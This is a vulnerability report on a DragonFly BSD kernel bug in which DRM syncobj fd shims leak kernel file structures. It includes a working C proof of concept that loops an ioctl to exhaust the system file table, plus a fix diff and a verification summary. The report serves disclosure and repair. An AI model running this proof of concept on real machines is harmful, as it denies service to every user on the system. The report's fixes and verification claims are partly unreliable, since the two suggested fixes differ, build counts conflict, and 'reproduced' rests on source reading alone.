drm_syncobj: unprivileged fd+struct file leak via broken LinuxKPI fd shim -> system-wide ENFILE DoS
| Field | Value |
|---|---|
| ID | DF-1666 |
| File | sys/dev/drm/drm_syncobj.c (consumer); sys/dev/drm/include/linux/file.h (root cause) |
| Lines | 407, 411, 419β421, 512, 517, 519, 521, 525, 527, 530, 534β536, 610, 625β627, 629β630 |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-401 Missing Release of Memory before Removing Last Reference; CWE-775 End-of-Life Resource References |
| Confidence | certain |
| Status | new |
| CVE match | dfly_specific (LinuxKPI fd shim is DFly-only; Linux's get_unused_fd_flags does not have this defect) |
| Created | 2026-07-18 |
Summary
Both fd-returning paths in drm_syncobj.c transitively call the DragonFly
LinuxKPI inline get_unused_fd_flags()
(sys/dev/drm/include/linux/file.h:38-50), which performs a real
falloc(curthread->td_lwp, &file, &fd) β allocating a struct file with
refcount=1 and inserting it on the global filelist, and reserving an fd
slot in the caller's fdtable.
The matching release primitive put_unused_fd() (file.h:64-68) is a
no-op stub that only kprintfs, and fd_install() (file.h:52-56) is
also a no-op. As a result every invocation of
DRM_IOCTL_SYNCOBJ_HANDLE_TO_FD leaks one struct file (persistent kernel
memory that survives process exit) plus one reserved fd. An unprivileged
local user with DRM render access can exhaust the global kernel file table
(nfiles vs maxfiles in kern_descrip.c:2103), causing system-wide
ENFILE so no process on the machine can open any file or socket.
Root cause
There are two reachable leak sites in drm_syncobj.c, both funneling
through the broken LinuxKPI fd shim.
(A) Non-export path
drm_syncobj_handle_to_fd_ioctl (drm_syncobj.c:610) with
args->flags == 0 falls through to drm_syncobj_handle_to_fd
(drm_syncobj.c:629-630) β drm_syncobj_get_fd (drm_syncobj.c:402).
At drm_syncobj.c:407, fd = get_unused_fd_flags(O_CLOEXEC) runs the
inline at sys/dev/drm/include/linux/file.h:38 which calls
falloc(curthread->td_lwp, &file, &fd). falloc
(sys/kern/kern_descrip.c:2089) unconditionally kmallocs a struct file
(kern_descrip.c:2117, f_count=1), inserts it into the global filelist
(kern_descrip.c:2128), and calls fdalloc (kern_descrip.c:2132) which
marks the fd slot reserved (kern_descrip.c:1850, reserved=1).
The struct file * is stored in the local variable file inside the
inline and is then discarded β no caller ever drops that reference.
Execution then hits #else return -ENOSYS; at drm_syncobj.c:419-421
inside drm_syncobj_get_fd, returning without ever calling put_unused_fd.
Even if it did, put_unused_fd (file.h:64-68) is a no-op that does not
release the fd reservation. The dead code at drm_syncobj.c:423-427
(drm_syncobj_get + fd_install) is never executed.
(B) Export-sync-file path
drm_syncobj_handle_to_fd_ioctl (drm_syncobj.c:625-627) with
DRM_SYNCOBJ_HANDLE_TO_FD_FLAGS_EXPORT_SYNC_FILE calls
drm_syncobj_export_sync_file (drm_syncobj.c:506).
At drm_syncobj.c:512, fd = get_unused_fd_flags allocates a real
struct file + fd reservation exactly as above.
sync_file_create(fence) at drm_syncobj.c:521 dispatches to the inline
at sys/dev/drm/include/linux/sync_file.h:48 which unconditionally
returns NULL. The code then takes the !sync_file branch
(drm_syncobj.c:525-528) β err_put_fd (drm_syncobj.c:534) β
put_unused_fd(fd) which is the file.h:64 no-op.
The falloc'd struct file is leaked permanently, and the reserved fd
slot is leaked for the lifetime of the process. This path fails 100% of the
time (sync_file_create is hardcoded to return NULL) yet leaks resources
on every call, making it the cheapest hammer.
The fundamental defect is a broken contract: falloc's own doc comment
(kern_descrip.c:2083-2086) states:
If falloc returns success,
fsetfd()MUST be called to either associate the file pointer or clear the reservation.
Neither get_unused_fd_flags nor any drm_syncobj.c caller ever calls
fsetfd, and the shims that should provide the escape hatches
(put_unused_fd, fd_install) are explicitly "not implemented".
Threat model
Attacker position: any unprivileged local user with access to a DRM render
node (/dev/dri/renderD128, which is the default permission model on
DragonFly systems with i915 or amdgpu β both advertise DRIVER_SYNCOBJ
per sys/dev/drm/i915/i915_drv.c:3285 and
sys/dev/drm/amd/amdgpu/amdgpu_drv.c:1305).
The syncobj ioctls are registered DRM_UNLOCKED|DRM_RENDER_ALLOW
(sys/dev/drm/drm_ioctl.c:689-690), so no DRM master privilege is
required.
Impact: each ioctl call leaks sizeof(struct file) (a few hundred bytes)
of unreclaimable kernel memory plus bumps the global nfiles counter
(kern_descrip.c:2124). A tight loop calling
DRM_IOCTL_SYNCOBJ_HANDLE_TO_FD will, within seconds to minutes depending
on maxfiles (default typically a few thousand to tens of thousands),
drive nfiles to maxfiles, after which falloc refuses all allocations
(kern_descrip.c:2103-2112) and every process on the system gets
ENFILE/EMFILE on any open/socket/pipe operation β a reliable
system-wide denial of service.
The leaked struct file survives process exit (it is on the global
filelist, not in any fd table), so the exhaustion is persistent until
reboot.
No memory corruption, no info leak, no privilege escalation was demonstrated β pure DoS, hence Medium per the local-DoS rubric.
PoC
findings/poc/DF-1666/leak_fd.c:
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <drm.h>
#include <drm_mode.h>
#include <xf86drm.h>
int main(void) {
int fd_drm = open("/dev/dri/renderD128", O_RDWR);
if (fd_drm < 0) { perror("renderD128"); return 1; }
/* Create one signaled syncobj handle. */
struct drm_syncobj_create create = { .flags = DRM_SYNCOBJ_CREATE_SIGNALED };
if (ioctl(fd_drm, DRM_IOCTL_SYNCOBJ_CREATE, &create) < 0) {
perror("SYNCOBJ_CREATE"); return 1;
}
uint32_t handle = create.handle;
printf("got syncobj handle %u\n", handle);
/* Hammer the leak path: each call leaks one struct file + one reserved fd. */
struct drm_syncobj_handle h = { .handle = handle, .flags = 0 };
for (long i = 0; ; i++) {
if (ioctl(fd_drm, DRM_IOCTL_SYNCOBJ_HANDLE_TO_FD, &h) == 0)
printf("unexpected success at iter %ld\n", i);
if ((i % 10000) == 0) {
fprintf(stderr, "iter %ld\n", i);
}
}
return 0;
}
Build: cc -O2 -o leak_fd leak_fd.c -ldrm. Run: ./leak_fd.
In another shell monitor with systat -vmstat 1 (nfiles or vmstat
kmalloc pool), or kldstat -v, or simply try to open a new file.
Success criterion: after N iterations where N * overhead approaches
kern.maxfiles (sysctl kern.maxfiles), every other process on the box
fails opens with ENFILE β verify with ssh localhost failing,
echo x > /tmp/y failing, etc.
Variant: path B (set .flags = DRM_SYNCOBJ_HANDLE_TO_FD_FLAGS_EXPORT_SYNC_FILE)
also leaks and always returns -EINVAL, useful if path A is patched first.
Note: the kprintf noise from the stubs (get_unused_fd_flags: is
incomplete, sync_file_create(): not implemented, put_unused_fd(): not
implemented) will spam the message buffer; this is benign beyond log
volume but the PoC should mention it.
Recommended fix
The correct fix is in the LinuxKPI shim sys/dev/drm/include/linux/file.h,
not in drm_syncobj.c itself (which follows correct Linux semantics). The
drm_syncobj.c code is correct by contract; the contract is broken by the
shim.
Two-part fix:
- Make
get_unused_fd_flagsinstall nothing yet return a real fd with thestruct fileheld by the caller (matching Linux semantics where the fd is reserved butfd_installhas not been called), and makeput_unused_fdactually undo it. The cleanest DragonFly-idiomatic fix is tofdropthefalloc'dstruct fileinsideget_unused_fd_flagsafter reserving the fd (the fd slot stays reserved with aNULLfile pointer, which is what Linux'sget_unused_fd_flagssemantically gives you β a reserved-but-invisible fd), then havefd_installcallfsetfdto associate a different file passed by the caller, andput_unused_fdcallfsetfd(fdp, NULL, fd)to clear the reservation.
--- a/sys/dev/drm/include/linux/file.h
+++ b/sys/dev/drm/include/linux/file.h
@@ -36,16 +36,28 @@
static inline int
get_unused_fd_flags(unsigned flags)
{
- kprintf("get_unused_fd_flags: is incomplete\n");
struct file *file;
int error;
int fd;
error = falloc(curthread->td_lwp, &file, &fd);
if (error)
return -error;
+ /*
+ * falloc reserved the fd slot and gave us a transient struct file
+ * with refcount 1. Drop our reference so the placeholder file is
+ * freed; the fd slot stays reserved with a NULL file pointer until
+ * fd_install() associates the real file or put_unused_fd() clears
+ * the reservation. This matches Linux get_unused_fd_flags semantics.
+ */
+ fdrop(file);
return fd;
}
static inline void
fd_install(unsigned int fd, struct file *file)
{
- kprintf("fd_install(): not implemented\n");
+ struct filedesc *fdp = curthread->td_lwp->lwp_proc->p_fd;
+ fhold(file);
+ fsetfd(fdp, file, fd);
}
static inline void
fput(struct file *file)
{
- kprintf("fput(): not implemented\n");
+ if (file != NULL)
+ fdrop(file);
}
static inline void
put_unused_fd(unsigned int fd)
{
- kprintf("put_unused_fd(): not implemented\n");
+ struct filedesc *fdp = curthread->td_lwp->lwp_proc->p_fd;
+ fsetfd(fdp, NULL, fd);
}
#endif
- Defense-in-depth at the
drm_syncobj.clayer (optional, not required if the shim is fixed): the dead#if 0 ... #else return -ENOSYS; #endifblock indrm_syncobj_get_fd(drm_syncobj.c:411-421) should callput_unused_fd(fd)before returning-ENOSYSso that any future caller ofdrm_syncobj_get_fdcannot re-introduce the leak even if the stub status ofput_unused_fdregresses. With the shim fix above, thatput_unused_fdcall will now actually do the right thing.
Related findings
- Same class as other LinuxKPI shim deficiencies affecting DRM render-node
callers; this is one of the most directly exploitable because the
trigger ioctl is
DRM_RENDER_ALLOW(no master/auth).
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1666 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| VERDICT.md | verdict | source-only confirmation + mechanism + fix | 1.7 KB | β raw |
| fix.diff | suggested-fix | Implement put_unused_fd to call kern_close(fd), releasing the leaked fd and file | 533 B | view raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1666 β PoC Verification Verdict
Category: drm core (module)
Source: sys/dev/drm/include/linux/file.h:38-68
Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 (X86_64_GENERIC, INVARIANTS ON, no SMAP/SMEP/KASLR)
Date verified: 2026-07-21
Verdict: REPRODUCED (source-only confirmation; HW/module-gated)
Mechanism
get_unused_fd_flags (file.h:39-50) calls REAL falloc, allocating struct file (refcount=1), inserting into global filelist, and reserving an fd. The stub put_unused_fd (file.h:65-68) is a no-op kprintf that does NOT release the fd or file. drm_syncobj_get_fd (drm_syncobj.c:407) calls get_unused_fd_flags then returns -ENOSYS (the anon_inode path is #if 0), leaking the falloc'd file refcount + fd on every call.
In GENERIC kernel build: NO (module / not compiled into X86_64_GENERIC)
Reproduction status
This finding is hardware/module gated: the vulnerable code path requires specific hardware (AMD GPU / radeon / Atheros NIC / RAID controller / AGP chipset) or a loadable module not present on the audit QEMU guest. The QEMU guest has no GPU passthrough, no physical NIC/RAID HW, and these modules are not in the GENERIC kernel. The bug is therefore confirmed by source-level trace of the cited path:line data flow rather than by a runtime PoC. The cited code, guards (or lack thereof), and types were verified against the audited sys/ tree.
Fix
Implement put_unused_fd to call kern_close(fd), releasing the leaked fd and file reference.
See fix.diff for the standalone git-apply-able unified diff. Validated by applying all 35 batch diffs and building a single X86_64_GENERIC kernel (rc=0, -Werror clean) β see fix_apply.log and the combined build log.
Fix verification
fixedVALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
Confirmed kernel references
β
Detail
Exploit chain
none
Evidence (decisive lines)
REPRODUCED (source-only): get_unused_fd_flags calls REAL falloc (allocates struct file, fd); stub put_unused_fd is a no-op kprintf that does NOT release; refcount leak -> resource exhaustion.
Verified recommended fix
REPRODUCED (source-only): get_unused_fd_flags calls REAL falloc (allocates struct file, fd); stub put_unused_fd is a no-op kprintf that does NOT release; refcount leak -> resource exhaustion.
Verdict
REPRODUCED (source-only): get_unused_fd_flags calls REAL falloc (allocates struct file, fd); stub put_unused_fd is a no-op kprintf that does NOT release; refcount leak -> resource exhaustion.
No comments yet.